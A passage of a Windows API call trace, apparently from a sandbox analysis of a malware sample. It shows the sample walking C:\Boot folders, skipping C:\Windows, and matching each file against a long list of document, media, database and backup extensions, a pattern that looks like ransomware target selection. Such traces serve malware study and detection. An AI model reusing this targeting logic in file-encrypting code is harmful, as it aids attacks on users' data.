ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0040.322] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39206d0 [0040.322] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x602da0 [0040.322] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.322] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0040.323] FindClose (in: hFindFile=0x602da0 | out: hFindFile=0x602da0) returned 1 [0040.323] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39206d0 | out: hHeap=0x510000) returned 1 [0040.323] FindNextFileW (in: hFindFile=0x601d58, lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0040.324] lstrlenW (lpString="C:\\Boot\\fr-FR") returned 13 [0040.324] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot\\fr-FR") returned 1 [0040.324] lstrlenW (lpString="fr-FR") returned 5 [0040.324] lstrcmpiW (lpString1="C:\\Windows", lpString2="fr-FR") returned -1 [0040.324] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39206d0 [0040.324] lstrlenW (lpString="C:\\Boot\\fr-FR") returned 13 [0040.324] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x602da0 [0040.325] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.325] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0040.325] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.325] lstrlenW (lpString=".1cd") returned 4 [0040.325] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0040.325] lstrlenW (lpString=".3ds") returned 4 [0040.325] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0040.326] lstrlenW (lpString=".3fr") returned 4 [0040.326] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0040.326] lstrlenW (lpString=".3g2") returned 4 [0040.326] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0040.326] lstrlenW (lpString=".3gp") returned 4 [0040.326] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0040.326] lstrlenW (lpString=".7z") returned 3 [0040.326] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0040.326] lstrlenW (lpString=".accda") returned 6 [0040.326] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0040.326] lstrlenW (lpString=".accdb") returned 6 [0040.326] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0040.326] lstrlenW (lpString=".accdc") returned 6 [0040.326] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0040.326] lstrlenW (lpString=".accde") returned 6 [0040.326] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0040.326] lstrlenW (lpString=".accdt") returned 6 [0040.326] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0040.326] lstrlenW (lpString=".accdw") returned 6 [0040.326] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0040.326] lstrlenW (lpString=".adb") returned 4 [0040.326] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0040.326] lstrlenW (lpString=".adp") returned 4 [0040.326] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0040.326] lstrlenW (lpString=".ai") returned 3 [0040.326] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0040.326] lstrlenW (lpString=".ai3") returned 4 [0040.326] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0040.326] lstrlenW (lpString=".ai4") returned 4 [0040.326] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0040.326] lstrlenW (lpString=".ai5") returned 4 [0040.327] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0040.327] lstrlenW (lpString=".ai6") returned 4 [0040.327] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0040.327] lstrlenW (lpString=".ai7") returned 4 [0040.327] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0040.327] lstrlenW (lpString=".ai8") returned 4 [0040.327] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0040.327] lstrlenW (lpString=".anim") returned 5 [0040.327] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0040.327] lstrlenW (lpString=".arw") returned 4 [0040.327] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0040.327] lstrlenW (lpString=".as") returned 3 [0040.327] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0040.327] lstrlenW (lpString=".asa") returned 4 [0040.327] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0040.327] lstrlenW (lpString=".asc") returned 4 [0040.327] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0040.327] lstrlenW (lpString=".ascx") returned 5 [0040.327] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0040.327] lstrlenW (lpString=".asm") returned 4 [0040.327] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0040.327] lstrlenW (lpString=".asmx") returned 5 [0040.327] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0040.327] lstrlenW (lpString=".asp") returned 4 [0040.327] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0040.327] lstrlenW (lpString=".aspx") returned 5 [0040.327] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0040.327] lstrlenW (lpString=".asr") returned 4 [0040.327] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0040.327] lstrlenW (lpString=".asx") returned 4 [0040.327] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0040.328] lstrlenW (lpString=".avi") returned 4 [0040.328] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0040.328] lstrlenW (lpString=".avs") returned 4 [0040.328] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0040.328] lstrlenW (lpString=".backup") returned 7 [0040.328] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0040.328] lstrlenW (lpString=".bak") returned 4 [0040.328] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0040.328] lstrlenW (lpString=".bay") returned 4 [0040.328] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0040.328] lstrlenW (lpString=".bd") returned 3 [0040.328] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0040.328] lstrlenW (lpString=".bin") returned 4 [0040.328] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0040.328] lstrlenW (lpString=".bmp") returned 4 [0040.328] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0040.328] lstrlenW (lpString=".bz2") returned 4 [0040.328] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0040.328] lstrlenW (lpString=".c") returned 2 [0040.328] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0040.328] lstrlenW (lpString=".cdr") returned 4 [0040.328] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0040.328] lstrlenW (lpString=".cer") returned 4 [0040.328] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0040.328] lstrlenW (lpString=".cf") returned 3 [0040.328] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0040.328] lstrlenW (lpString=".cfc") returned 4 [0040.328] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0040.328] lstrlenW (lpString=".cfm") returned 4 [0040.328] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0040.329] lstrlenW (lpString=".cfml") returned 5 [0040.329] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0040.329] lstrlenW (lpString=".cfu") returned 4 [0040.329] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0040.329] lstrlenW (lpString=".chm") returned 4 [0040.329] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0040.329] lstrlenW (lpString=".cin") returned 4 [0040.329] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0040.329] lstrlenW (lpString=".class") returned 6 [0040.329] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0040.329] lstrlenW (lpString=".clx") returned 4 [0040.329] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0040.329] lstrlenW (lpString=".config") returned 7 [0040.329] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0040.329] lstrlenW (lpString=".cpp") returned 4 [0040.329] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0040.329] lstrlenW (lpString=".cr2") returned 4 [0040.329] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0040.329] lstrlenW (lpString=".crt") returned 4 [0040.329] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0040.329] lstrlenW (lpString=".crw") returned 4 [0040.329] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0040.329] lstrlenW (lpString=".cs") returned 3 [0040.329] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0040.329] lstrlenW (lpString=".css") returned 4 [0040.329] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0040.329] lstrlenW (lpString=".csv") returned 4 [0040.329] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0040.330] lstrlenW (lpString=".cub") returned 4 [0040.330] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0040.330] lstrlenW (lpString=".dae") returned 4 [0040.330] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0040.330] lstrlenW (lpString=".dat") returned 4 [0040.330] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0040.330] lstrlenW (lpString=".db") returned 3 [0040.330] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0040.330] lstrlenW (lpString=".dbf") returned 4 [0040.330] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0040.330] lstrlenW (lpString=".dbx") returned 4 [0040.330] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0040.330] lstrlenW (lpString=".dc3") returned 4 [0040.330] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0040.330] lstrlenW (lpString=".dcm") returned 4 [0040.330] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0040.330] lstrlenW (lpString=".dcr") returned 4 [0040.330] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0040.330] lstrlenW (lpString=".der") returned 4 [0040.330] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0040.330] lstrlenW (lpString=".dib") returned 4 [0040.330] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0040.330] lstrlenW (lpString=".dic") returned 4 [0040.330] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0040.330] lstrlenW (lpString=".dif") returned 4 [0040.330] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0040.330] lstrlenW (lpString=".divx") returned 5 [0040.330] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0040.331] lstrlenW (lpString=".djvu") returned 5 [0040.331] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0040.331] lstrlenW (lpString=".dng") returned 4 [0040.331] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0040.331] lstrlenW (lpString=".doc") returned 4 [0040.331] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0040.331] lstrlenW (lpString=".docm") returned 5 [0040.331] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0040.331] lstrlenW (lpString=".docx") returned 5 [0040.331] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0040.331] lstrlenW (lpString=".dot") returned 4 [0040.331] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0040.331] lstrlenW (lpString=".dotm") returned 5 [0040.331] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0040.331] lstrlenW (lpString=".dotx") returned 5 [0040.331] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0040.331] lstrlenW (lpString=".dpx") returned 4 [0040.331] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0040.331] lstrlenW (lpString=".dqy") returned 4 [0040.331] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0040.331] lstrlenW (lpString=".dsn") returned 4 [0040.331] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0040.331] lstrlenW (lpString=".dt") returned 3 [0040.331] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0040.331] lstrlenW (lpString=".dtd") returned 4 [0040.331] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0040.331] lstrlenW (lpString=".dwg") returned 4 [0040.331] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0040.332] lstrlenW (lpString=".dwt") returned 4 [0040.332] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0040.332] lstrlenW (lpString=".dx") returned 3 [0040.332] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0040.332] lstrlenW (lpString=".dxf") returned 4 [0040.332] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0040.332] lstrlenW (lpString=".edml") returned 5 [0040.332] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0040.332] lstrlenW (lpString=".efd") returned 4 [0040.332] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0040.332] lstrlenW (lpString=".elf") returned 4 [0040.332] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0040.332] lstrlenW (lpString=".emf") returned 4 [0040.332] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0040.332] lstrlenW (lpString=".emz") returned 4 [0040.332] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0040.332] lstrlenW (lpString=".epf") returned 4 [0040.332] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0040.332] lstrlenW (lpString=".eps") returned 4 [0040.332] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0040.332] lstrlenW (lpString=".epsf") returned 5 [0040.332] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0040.332] lstrlenW (lpString=".epsp") returned 5 [0040.332] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0040.332] lstrlenW (lpString=".erf") returned 4 [0040.332] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0040.332] lstrlenW (lpString=".exr") returned 4 [0040.332] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0040.333] lstrlenW (lpString=".f4v") returned 4 [0040.333] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0040.333] lstrlenW (lpString=".fido") returned 5 [0040.333] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0040.333] lstrlenW (lpString=".flm") returned 4 [0040.333] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0040.333] lstrlenW (lpString=".flv") returned 4 [0040.333] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0040.333] lstrlenW (lpString=".frm") returned 4 [0040.333] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0040.333] lstrlenW (lpString=".fxg") returned 4 [0040.333] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0040.333] lstrlenW (lpString=".geo") returned 4 [0040.333] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0040.333] lstrlenW (lpString=".gif") returned 4 [0040.333] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0040.333] lstrlenW (lpString=".grs") returned 4 [0040.333] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0040.333] lstrlenW (lpString=".gz") returned 3 [0040.333] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0040.333] lstrlenW (lpString=".h") returned 2 [0040.333] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0040.333] lstrlenW (lpString=".hdr") returned 4 [0040.333] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0040.333] lstrlenW (lpString=".hpp") returned 4 [0040.441] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0040.441] lstrlenW (lpString=".hta") returned 4 [0040.441] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0040.441] lstrlenW (lpString=".htc") returned 4 [0040.441] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0040.441] lstrlenW (lpString=".htm") returned 4 [0040.441] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0040.442] lstrlenW (lpString=".html") returned 5 [0040.442] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0040.442] lstrlenW (lpString=".icb") returned 4 [0040.442] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0040.442] lstrlenW (lpString=".ics") returned 4 [0040.442] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0040.442] lstrlenW (lpString=".iff") returned 4 [0040.442] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0040.442] lstrlenW (lpString=".inc") returned 4 [0040.442] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0040.442] lstrlenW (lpString=".indd") returned 5 [0040.442] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0040.442] lstrlenW (lpString=".ini") returned 4 [0040.442] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0040.442] lstrlenW (lpString=".iqy") returned 4 [0040.442] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0040.442] lstrlenW (lpString=".j2c") returned 4 [0040.442] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0040.442] lstrlenW (lpString=".j2k") returned 4 [0040.442] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0040.442] lstrlenW (lpString=".java") returned 5 [0040.442] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0040.442] lstrlenW (lpString=".jp2") returned 4 [0040.442] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0040.442] lstrlenW (lpString=".jpc") returned 4 [0040.442] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0040.442] lstrlenW (lpString=".jpe") returned 4 [0040.442] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0040.443] lstrlenW (lpString=".jpeg") returned 5 [0040.443] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0040.443] lstrlenW (lpString=".jpf") returned 4 [0040.443] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0040.443] lstrlenW (lpString=".jpg") returned 4 [0040.443] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0040.443] lstrlenW (lpString=".jpx") returned 4 [0040.443] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0040.443] lstrlenW (lpString=".js") returned 3 [0040.443] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0040.443] lstrlenW (lpString=".jsf") returned 4 [0040.443] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0040.443] lstrlenW (lpString=".json") returned 5 [0040.443] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0040.443] lstrlenW (lpString=".jsp") returned 4 [0040.443] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0040.444] lstrlenW (lpString=".kdc") returned 4 [0040.444] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0040.444] lstrlenW (lpString=".kmz") returned 4 [0040.444] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0040.444] lstrlenW (lpString=".kwm") returned 4 [0040.444] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0040.444] lstrlenW (lpString=".lasso") returned 6 [0040.444] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0040.444] lstrlenW (lpString=".lbi") returned 4 [0040.444] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0040.444] lstrlenW (lpString=".lgf") returned 4 [0040.444] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0040.444] lstrlenW (lpString=".lgp") returned 4 [0040.444] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0040.444] lstrlenW (lpString=".log") returned 4 [0040.444] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0040.444] lstrlenW (lpString=".m1v") returned 4 [0040.444] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0040.444] lstrlenW (lpString=".m4a") returned 4 [0040.444] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0040.444] lstrlenW (lpString=".m4v") returned 4 [0040.444] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0040.444] lstrlenW (lpString=".max") returned 4 [0040.444] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0040.444] lstrlenW (lpString=".md") returned 3 [0040.444] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0040.444] lstrlenW (lpString=".mda") returned 4 [0040.444] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0040.444] lstrlenW (lpString=".mdb") returned 4 [0040.445] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0040.445] lstrlenW (lpString=".mde") returned 4 [0040.445] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0040.445] lstrlenW (lpString=".mdf") returned 4 [0040.445] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0040.445] lstrlenW (lpString=".mdw") returned 4 [0040.445] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0040.445] lstrlenW (lpString=".mef") returned 4 [0040.445] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0040.445] lstrlenW (lpString=".mft") returned 4 [0040.445] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0040.445] lstrlenW (lpString=".mfw") returned 4 [0040.445] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0040.445] lstrlenW (lpString=".mht") returned 4 [0040.445] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0040.445] lstrlenW (lpString=".mhtml") returned 6 [0040.445] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0040.445] lstrlenW (lpString=".mka") returned 4 [0040.445] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0040.445] lstrlenW (lpString=".mkidx") returned 6 [0040.445] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0040.445] lstrlenW (lpString=".mkv") returned 4 [0040.445] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0040.445] lstrlenW (lpString=".mos") returned 4 [0040.445] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0040.445] lstrlenW (lpString=".mov") returned 4 [0040.445] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0040.445] lstrlenW (lpString=".mp3") returned 4 [0040.445] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0040.446] lstrlenW (lpString=".mp4") returned 4 [0040.446] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0040.446] lstrlenW (lpString=".mpeg") returned 5 [0040.446] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0040.446] lstrlenW (lpString=".mpg") returned 4 [0040.446] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0040.446] lstrlenW (lpString=".mpv") returned 4 [0040.446] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0040.446] lstrlenW (lpString=".mrw") returned 4 [0040.446] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0040.446] lstrlenW (lpString=".msg") returned 4 [0040.446] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0040.446] lstrlenW (lpString=".mxl") returned 4 [0040.446] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0040.446] lstrlenW (lpString=".myd") returned 4 [0040.446] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0040.446] lstrlenW (lpString=".myi") returned 4 [0040.446] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0040.446] lstrlenW (lpString=".nef") returned 4 [0040.446] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0040.446] lstrlenW (lpString=".nrw") returned 4 [0040.446] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0040.446] lstrlenW (lpString=".obj") returned 4 [0040.446] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0040.446] lstrlenW (lpString=".odb") returned 4 [0040.446] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0040.446] lstrlenW (lpString=".odc") returned 4 [0040.446] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0040.447] lstrlenW (lpString=".odm") returned 4 [0040.447] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0040.447] lstrlenW (lpString=".odp") returned 4 [0040.447] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0040.447] lstrlenW (lpString=".ods") returned 4 [0040.447] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0040.447] lstrlenW (lpString=".oft") returned 4 